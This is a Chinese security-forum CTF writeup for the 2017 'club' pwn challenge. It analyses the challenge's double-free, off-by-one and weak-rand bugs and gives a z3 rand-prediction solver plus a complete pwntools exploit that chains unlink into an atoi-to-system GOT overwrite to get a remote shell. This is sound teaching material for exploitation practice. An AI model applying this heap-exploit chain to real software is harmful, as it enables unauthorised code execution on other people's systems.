首页
论坛
课程
招聘
[原创]CTF2017 第四题 club_pwn writeup
2017-11-1 11:19 4377

[原创]CTF2017 第四题 club_pwn writeup

2017-11-1 11:19
4377
这是一道典型的CTF pwn菜单题,先用pwn checksec看一眼有什么保护

这里主要会妨碍到我们的是开启了PIE,但是RELRO是partial,所以.got.plt 可写
下面看一眼程序的主要流程

可以看出主要有以下几个功能,除了guess random number 以外都和box有关
开IDA

这里我们注意到srand seed了seed这个指针的地址

get_box

其中read_int会读入我们的输入然后执行atoi
这里可以看出我们有一个box是否被创建过的检查 is_box_created,估计是防止UAF用到的,不过这个检查写的有问题,之后我们再看

get_box主要会让你选择哪个box,然后malloc多大的一个box,这里有一个限制,就是每个box的大小是从小到大排列的,其中最小不能小于 8 + 16, 最大不能大于 0x1000-16,这个限制存储在0x202090

可以看到8 和 0x1000 之间有5个0,存储我们每个box的大小

destroy_box

除了index的检查,还有两个检查,一个是和get_box中一样的is_box_created,还有一个是一个global的数组,表示该box能不能被destroy,查看该数组可得知只有box 2,3可以被free。同时这里出现了一个bug,那就是is_box_created这个flag在box被free后没有被清0,这代表我们不能重新在这个index malloc一个box,但我们可以free这个box两次,造成double free


leave_message

这里还有一个bug,read的时候因为用的是 i <= box_sizes[v3],所以会出现一个off-by-one的bug,虽然这个bug也可以用,但是double free用起来更简单一些……这个bug的用法主要可以shrink chunk以后构造overlapping chunk然后这样就可控制其中一个的chunk 头。或者也可以用house of einherjar来构造overlapping chunk,原理差不多,再次不做过多叙述

由于之前is_box_created在destroy时没有被清0,造成我们可以做出UAF,覆盖被free的chunk的FD 和 BK,从而使用unlink达成任意读写(和看雪年中CTF中的那道double free题 (第四题) 的其中一个非预期解很像),unlink的手法可参照以下链接
https://bbs.pediy.com/thread-218395.htm

show_message

同样是is_box_created的bug,我们可以leak出已经free过的chunk的fd和bk,如果该chunk是unsorted bin或者small bin,我们就可以得到main_arena的地址,继而得到libc的基地址

guess

猜rand的下一个随机数,猜对就告诉我们seed,注意之前我们看到在main里面seed里面存的值即seed的地址,也就是说假如我们才对了的话,我们就可以leak一个code段的地址,从而绕过PIE。这里rand并不是我本以为的mersene twister...而是rand的另外一种implementation……查了一下发现glibc (https://github.com/lattera/glibc/blob/a2f34833b1042d5d8eeb263b4cf4caaea138c4ad/stdlib/random.c) 可以在多种rand的implementation中切换,不过默认是TYPE_3也就是下文中所描述的这种

把钱344个结果舍弃掉以后就是我们用rand()所得出的结果

我们用z3求解来预测之后的rand值,参考http://inaz2.hatenablog.com/entry/2016/03/07/194000,这里用了93个回合,因为内部的state是31,93可以保证已经轮回过3次,从而得到更准确的结果(理论上来说只要两次以上就行……不过我没试)

exit

看上去好像没什么毛病……

至此,改题的解题思路已经很明显了,我们需要做以下几件事情
1. guess拿到93个数字以后猜下一个随机数,得到code段的基地址 (伪造unlink的chunk时需要一个指向将要被free的chunk的指针)
2. 分配一个smallbin大小的box到2,然后删除掉以后leak libc的基地址
3. 利用double free伪造chunk,(参考之前提到的看雪文章或 https://www.slideshare.net/AngelBoy1/heap-exploitation-51891400 第74页)用unlink来将boxes[i] 的指针指向前面某个boxes的地址box[j]
4. leave_message 到当前被覆盖的box[i],覆盖前面那个box[j]所指向的地址,变更为某个.got.plt地址(这里我选取了atoi,因为之后可以任意输入第一个参数)
5. 更改box[j]所指向的地址到system,既复写了atoi的.got.plt将其改为system
6. 拿shell

P.S. 这里出现了一点小插曲……本地测试的时候shell拿的好好的,但是远程怎么都拿不到,于是将box[j]地址指向atoi之后用show_message leak出了当前atoi的地址……发现和用libc偏移计算的地址并不一样……于是又leak了几个附近的地址……发现atoi的地址在当前设定的.got.plt的偏移的后面一个,至此成功拿到shell……但是百思不得其解为什么要这样做……于是拿到shell以后检查了一下远程上的二进制文件……发现md5sum tm不一样啊!!!!!,下下来以后发现果然是有区别的……问了netwind也不知道为什么会有两个不同的二进制文件……在这上面上耽误了很长时间……

之后查了一下权限发现club文件所有人都有写的权限???什么鬼……不过原因大概就出在这里……之后和netwind协商后让他更新了发布的程序包……

不过区别仅限于服务器上跑的版本加了个alarm所以atoi的got被往后移了8……如果复写free的.got.plt的话就没这个问题。

python z3 solverand.py
from z3 import *

def solver(inp):
    assert(len(inp) >= 93)
    inp = inp[-93:]
    state = [BitVec("state%d" % i, 32) for i in xrange(31)]
    s = Solver()

    for i in xrange(93):
        state[(3+i) % 31] += state[i % 31]
        output = (state[(3+i) % 31] >> 1) & 0x7fffffff
        actual = inp[i]
        s.add(output == actual)

    s.check()
    if s.check() != z3.sat:
        print "unsat :("
        return 0

    m = s.model()

    return m.eval(((state[(3+93) % 31] + state[93 % 31]) >> 1) & 0x7fffffff).as_long()

实际exp
from pwn import *
from solverand import solver

MENU = "> "
MAIN_ARENA = 0x2aaaab097b78 - 0x2aaaaacd3000
SYSTEM = 0x45390
aslr = True
is_remote = True

def get(num, size):
    assert(get_helper(num, size))

def destroy(num):
    assert(destroy_helper(num))

def leavem(num, m):
    assert(leavem_helper(num, m))

def get_helper(num, size):
    r.recvuntil(MENU)
    r.sendline('1')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return 0
    r.sendline(str(num))
    res = r.recvregex(r'box!|> ')
    if "box!" in res:
        return 0
    r.sendline(str(size))
    res = r.recvregex(r'invalid!|box!')
    if "invalid!" in res:
        return 0
    return 1

def destroy_helper(num):
    r.recvuntil(MENU)
    r.sendline('2')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return 0
    r.sendline(str(num))
    res = r.recvregex(r'(can not|have).+!')
    if "can not" in res:
        return 0
    return 1

def leavem(num, message):
    r.recvuntil(MENU)
    r.sendline('3')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return 0
    r.sendline(str(num))
    log.info("send number")
    sleep(1)
    # can't check for leaving message
    log.info("send message")
    r.sendline(message)
    return 1

def showm(num):
    r.recvuntil(MENU)
    r.sendline('4')
    r.recvuntil(MENU)
    if num <= 0 or num > 5:
        return "can't show"
    r.sendline(str(num))
    # can't check for leaving message
    res = r.recvuntil('You have')[:-9]
    return res

def guess(num):
    r.recvuntil(MENU)
    r.sendline('5')
    r.recvuntil(MENU)
    r.sendline(str(num))
    prompt = r.recvregex('(secret:|is) [0-9]?')
    res = r.recvline()
    num = re.findall('([0-9]+)!', res)[0]
    if "secret" in prompt:
        return (1, int(num))
    else:
        return (0, int(num))

def exit(name):
    r.recvuntil(MENU)
    r.sendline('6')
    r.recvuntil(MENU)
    r.sendline(name)

def get_code():
    output = []
    for i in range(93):
        log.info("geting %d" % i)
        output.append(guess(0)[1])
    res = (0, 0)
    while not res[0]:
        log.info("predicting...")
        result = solver(output)
        log.info("predicted: %d" % result)
        res = guess(result)
        output.append(res[1])
    return res[1]

if is_remote:
    r = remote('123.206.22.95', 8888)
else:
    env = {'LD_PRELOAD':'./libc.so.6'}
    r = process('./club', env=env, aslr=aslr)
code_base = get_code() - 0x202148
log.info("code base at 0x%x" % code_base)
addr_ptr = code_base + 0x202100 + 8 * 5
log.info("3rd box at 0x%x" % addr_ptr)
atoi = code_base + 0x202068
strcpy = code_base + 0x202020
get(2, 0x100)
get(3, 0x110)
get(4, 0x120)
destroy(2)
addr = showm(2)
addr = u64(addr + (8 - len(addr)) * "\x00")
log.info("main_arena at 0x%x" % addr)
diff = addr - MAIN_ARENA
log.info("libc base at 0x%x" % diff)
system = diff + SYSTEM
log.info("system at 0x%x" % system)
destroy(3)
get(5, 0x220)
leavem(5, p64(0x0) + p64(0x101) + p64(addr_ptr-0x18) + p64(addr_ptr-0x10) + "A" * (0x100-0x20) + p64(0x100) + p64(0x120))
destroy(3)
if is_remote:
    atoi += 8
leavem(5, p64(atoi))
leavem(2, p64(system))
#gdb.attach(r)
r.sendline('/bin/sh')
log.info('enjoy your shell :)')
r.interactive()



[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 222
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
plusls 活跃值 2017-11-1 13:44
2
0
其实随机数可以直接爆破
seed的参数是unsigned  int
开了pie后后12bit是固定的  所以只要爆破(1<<20)次就可以了
雪    币: 841
活跃值: 活跃值 (10)
能力值: ( LV13,RANK:430 )
在线值:
发帖
回帖
粉丝
hotwinter 活跃值 6 2017-11-2 23:29
3
0
plusls 其实随机数可以直接爆破 seed的参数是unsigned int 开了pie后后12bit是固定的 所以只要爆破(1
那不是比z3要慢吗……1<<20还还是挺大的啊……
雪    币: 30
活跃值: 活跃值 (268)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
龙飞雪 活跃值 2017-11-3 15:17
4
0
看了几遍头晕,羡慕懂漏洞的~
游客
登录 | 注册 方可回帖
返回